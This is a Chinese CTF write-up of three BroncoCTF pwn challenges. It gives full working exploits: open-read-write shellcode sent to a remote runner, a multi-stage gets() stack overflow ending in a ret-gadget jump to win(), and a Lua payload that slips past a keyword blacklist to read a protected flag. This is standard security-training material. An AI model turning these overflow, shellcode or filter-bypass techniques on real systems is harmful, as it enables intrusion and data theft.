BroncoCTF PWN WP
BroncoCTF所有pwn题的wp
Crab Trap
这题没给本地附件,入口就是远程shellcode runner。
banner里把限制说得很明白:最多收512字节shellcode,seccomp只放open/read/write,execve会被拦。
所以不用想着拿shell,直接ORW读flag即可:
open("flag.txt", 0) -> read(fd, buf, 256) -> write(1, buf, n)一开始我先丢了一个只调用write(1, "ZENPROBE\n", 9)的小shellcode,确认远程确实会执行amd64 shellcode,write也在白名单里。到这里路线就很短了,剩下的问题只是flag路径。常见路径试了一下,flag.txt能读到。
shellcode本身也很直接。把文件名压到栈上,open返回的fd放进edi,读到栈上,再把实际读到的长度作为write的第三个参数。
核心shellcode:
push "flag.txt"
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 256
xor eax, eax
syscall
mov edx, eax
mov edi, 1
mov eax, 1
syscall完整exp:
from pwn import *
context.clear(arch="amd64", os="linux")
context.log_level = "error"
HOST = "0.cloud.chals.io"
PORT = 34381
CANDIDATES = [
"flag",
"flag.txt",
"./flag",
"./flag.txt",
"/flag",
"/flag.txt",
"/app/flag",
"/app/flag.txt",
"/home/ctf/flag",
"/home/ctf/flag.txt",
"/challenge/flag",
"/challenge/flag.txt",
]
def shellcode(path: str) -> bytes:
return asm(
f"""
{shellcraft.pushstr(path)}
mov rdi, rsp
xor esi, esi
xor edx, edx
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 256
xor eax, eax
syscall
mov edx, eax
mov edi, 1
mov eax, 1
syscall
"""
)
def attempt(path: str) -> bytes:
sc = shellcode(path)
if len(sc) > 512:
raise ValueError(f"shellcode too long for {path}: {len(sc)}")
io = remote(HOST, PORT)
io.recvuntil(b"> ")
io.send(sc)
data = io.recvall(timeout=3)
io.close()
return data
def main() -> None:
for path in CANDIDATES:
data = attempt(path)
body = data.split(b"Good luck, sailor.\n", 1)[-1]
print(f"=== {path} ===")
print(body.decode("latin-1", "replace"))
if b"bronco{" in body.lower() or b"flag{" in body.lower() or b"ctf{" in body.lower():
return
if __name__ == "__main__":
main()Flag:
bronco{h0w_c4n_mr_kr4b5_c0de}Proper Pwning
源码直接给了,整体就是四次gets。前三次是gate,要把局部变量改成能放行的状态;最后进treasure_room,再溢出返回地址跳win。
保护也很配合:没canary、没PIE、NX还关了。这里不用上shellcode,程序里已经有win(),地址固定在0x40123b。
过三个gate
主逻辑很短:
if (gate1() == -1) return 0;
if (gate2() == -1) return 0;
if (gate3() == -1) return 0;
treasure_room();每个gate里都有一个栈上的gate变量,初始是CLOSED,然后直接gets(buffer):
int gate1() {
volatile int gate = CLOSED;
int buffer[64];
gets(buffer);
if (gate == CLOSED) {
return -1;
} else {
return 1;
}
}所以第一关就是覆盖gate成非0。反汇编里buffer在rbp-0x110,gate在rbp-0x4,偏移是0x10c,也就是268。
第二关多了一个baby_chicken:
int gate2() {
volatile int gate = CLOSED;
volatile int baby_chicken = ALIVE;
long buffer[64];
gets(buffer);
if (baby_chicken != ALIVE) {
return -1;
}
if (gate == CLOSED) {
return -1;
} else {
return 1;
}
}这里不能只把后面的gate改掉,因为溢出会先碰到baby_chicken。布局是buffer在rbp-0x210,baby_chicken在rbp-0x8,gate在rbp-0x4。所以offset520处写41,offset524处写1。
第三关要求精确值:
int gate3() {
volatile int gate = CLOSED;
char buffer[67];
gets(buffer);
if (gate == 13371337) {
printf("win() is that way, located at %p\n", (void *)win);
return 1;
}
return -1;
}布局是buffer在rbp-0x50,gate在rbp-0x4,偏移0x4c。这里写p32(13371337)即可。这个输入里带\x00,所以脚本要按bytes发,不能手输字符串。
最后一跳
进了treasure_room以后还有一次gets:
void treasure_room() {
char buffer[6767];
gets(buffer);
printf("\nTREASURE?\n");
return;
}反汇编里实际栈帧是rbp-0x1a70,返回地址在rbp+8,所以覆盖返回地址的offset是0x1a78。
这里有个小点:直接把返回地址写成win,能进win打印banner,但后面调用system("/bin/cat flag.txt")时会因为栈对齐崩掉。前面垫一个普通ret gadget,把栈重新对齐,再跳win就稳了。
最终第四段payload是:
b"A" * 0x1a78 + p64(ret) + p64(win)exp
from pwn import *
context.binary = elf = ELF("./proper", checksec=False)
context.log_level = "info"
def start():
if args.REMOTE:
return remote("0.cloud.chals.io", 21543)
return process("./proper")
ret = ROP(elf).find_gadget(["ret"])[0]
win = elf.sym["win"]
payloads = [
b"A" * 268 + b"B",
b"A" * 520 + p32(41) + p32(1),
b"A" * 76 + p32(13371337),
b"A" * 0x1a78 + p64(ret) + p64(win),
]
io = start()
for payload in payloads:
io.sendline(payload)
io.interactive()Flag:
bronco{1m_th3_b35t_PWN3r_1n_th3_wh0l3_w1d3_w0r1d}World's Hardestest Flag
题目考点
Roblox地图逆向,客户端过滤绕过,服务端Lua沙箱逻辑漏洞。
附件给了一个mrdeh-hardestest.rbxl,简介里也说了真实flag在Roblox游戏里的“SecureDeh9001Server”。这题不是传统ELF pwn,本地文件主要用来还原游戏逻辑,最后要进真实Roblox游戏触发一次。
本地文件是Roblox二进制place,开头是<roblox!。新版块压缩用了zstd,老的rbxl解析脚本按LZ4会直接炸。把块解出来以后,关键脚本很明显:
StarterGui.SecureDeh9001TerminalHolder.SecureDehTerminal.SecureDeh9001TerminalScript
ServerScriptService.SecureDeh9001Server-Mainframe.SecureDeh9001Server
ReplicatedStorage.SecureDeh9001Server-Pipeline.ExecuteCode终端逻辑
客户端有一个SecureDeh9001Terminal,输入框里的内容会先过一层关键词黑名单,然后通过ExecuteCode这个RemoteEvent发给服务器。
客户端黑名单如下:
local bannedWords = {"position", "humanoid", "destroy", "name", "typetag", "flag"}检查方式就是对输入整体做string.lower以后string.find。所以这里拦的是连续字符串,不是语义级别的Lua token。只要不直接出现typetag和flag这些字面量,就能发到服务器。
服务器端会用ReplicatedStorage.Loadstring编译并执行我们发过去的Lua代码,不过环境是自定义的,只给了一些安全函数和两个关键函数:
write = write_mem,
read = read_mem,
print = function(...)
...
executeEvent:FireClient(player, "SERVER: " .. str)
endprint会把输出回显到终端UI里,这正好可以拿来带出flag。
漏洞点
服务端每次执行代码时都会创建一份模拟内存:
local Storage = {
[0x6767] = { TypeTag = 0, Value = FLAG },
[0x4141] = { TypeTag = 4, Value = "You!" }
}read看起来保护了0x6767:
local function read(address)
local tvalue = Storage[address]
if not tvalue then return "nil" end
if tvalue.TypeTag == 0 then return "[ACCESS DENIED]" end
return tvalue.Value
end但是write没有任何私有地址检查,也没有禁止改TypeTag:
local function write(address, new_data)
if Storage[address] then
for key, val in pairs(new_data) do
Storage[address][key] = val
end
end
end所以只要把0x6767那一项的TypeTag改成非0,再读Value即可。注意这里Storage是每次server_execute重新创建的,不能先提交一次write再提交一次read,必须放在同一次输入里。
客户端黑名单会拦连续的typetag,直接写{TypeTag=4}会被杀。Lua里table的key可以用表达式构造,拼成同一个字段名即可:
["Type".."Tag"]最终payload:
write(0x6767,{["Type".."Tag"]=4});print(read(0x6767))这行里没有连续的typetag,也没有flag,能过客户端过滤。服务器执行后先改掉私有对象的类型标记,再调用read(0x6767),print把结果回显到终端。
实际操作
进题目给的Roblox游戏以后,左侧偏下有一个终端图标。点开以后会出现Terminal面板,把payload粘进去点Submit。
远程回显拿到:
bronco{d34th_t0_th3_dehs_f0r3v3r}Flag
bronco{d34th_t0_th3_dehs_f0r3v3r}